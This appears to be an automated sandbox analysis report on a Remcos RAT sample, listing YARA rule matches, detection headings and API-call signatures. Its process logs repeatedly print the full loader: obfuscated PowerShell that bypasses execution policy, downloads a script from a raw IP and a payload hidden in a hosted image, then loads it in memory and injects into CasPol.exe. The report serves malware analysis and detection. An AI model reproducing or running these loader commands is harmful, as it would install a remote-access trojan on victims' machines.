Source: Yara match	File source: 0000000C.00000002.4102227044.0000000001355000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4104782435.0000000002EAF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_0041BD82 SystemParametersInfoW,

12_2_0041BD82

System Summary

Detected Cobalt Strike Beacon

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"	Jump to behavior

Malicious sample detected (through community Yara rule)

Source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{13709620-C279-11CE-A49E-444553540000}			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0041742B GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,	12_2_0041742B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0041AECC OpenProcess,NtSuspendProcess,CloseHandle,	12_2_0041AECC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0041AEF8 OpenProcess,NtResumeProcess,CloseHandle,	12_2_0041AEF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,	13_2_0040DD85
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00401806 NtdllDefWindowProc_W,	13_2_00401806
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_004018C0 NtdllDefWindowProc_W,	13_2_004018C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_004016FD NtdllDefWindowProc_A,	14_2_004016FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_004017B7 NtdllDefWindowProc_A,	14_2_004017B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00402CAC NtdllDefWindowProc_A,	15_2_00402CAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00402D66 NtdllDefWindowProc_A,	15_2_00402D66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00415A51 ExitWindowsEx,LoadLibraryA,GetProcAddress,

12_2_00415A51

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0043D04B	12_2_0043D04B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0042707E	12_2_0042707E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0041301D	12_2_0041301D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00441030	12_2_00441030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00453110	12_2_00453110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_004271B8	12_2_004271B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0041D27C	12_2_0041D27C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_004522E2	12_2_004522E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0043D2A8	12_2_0043D2A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00437360	12_2_00437360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_004363BA	12_2_004363BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0042645F	12_2_0042645F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00431582	12_2_00431582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0043672C	12_2_0043672C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0041E7EA	12_2_0041E7EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0044C949	12_2_0044C949
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_004269D6	12_2_004269D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_004369D6	12_2_004369D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0043CBED	12_2_0043CBED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00432C54	12_2_00432C54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00436C9D	12_2_00436C9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0043CE1C	12_2_0043CE1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00436F58	12_2_00436F58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00434F32	12_2_00434F32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_10017194	12_2_10017194
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_1000B5C1	12_2_1000B5C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0044B040	13_2_0044B040
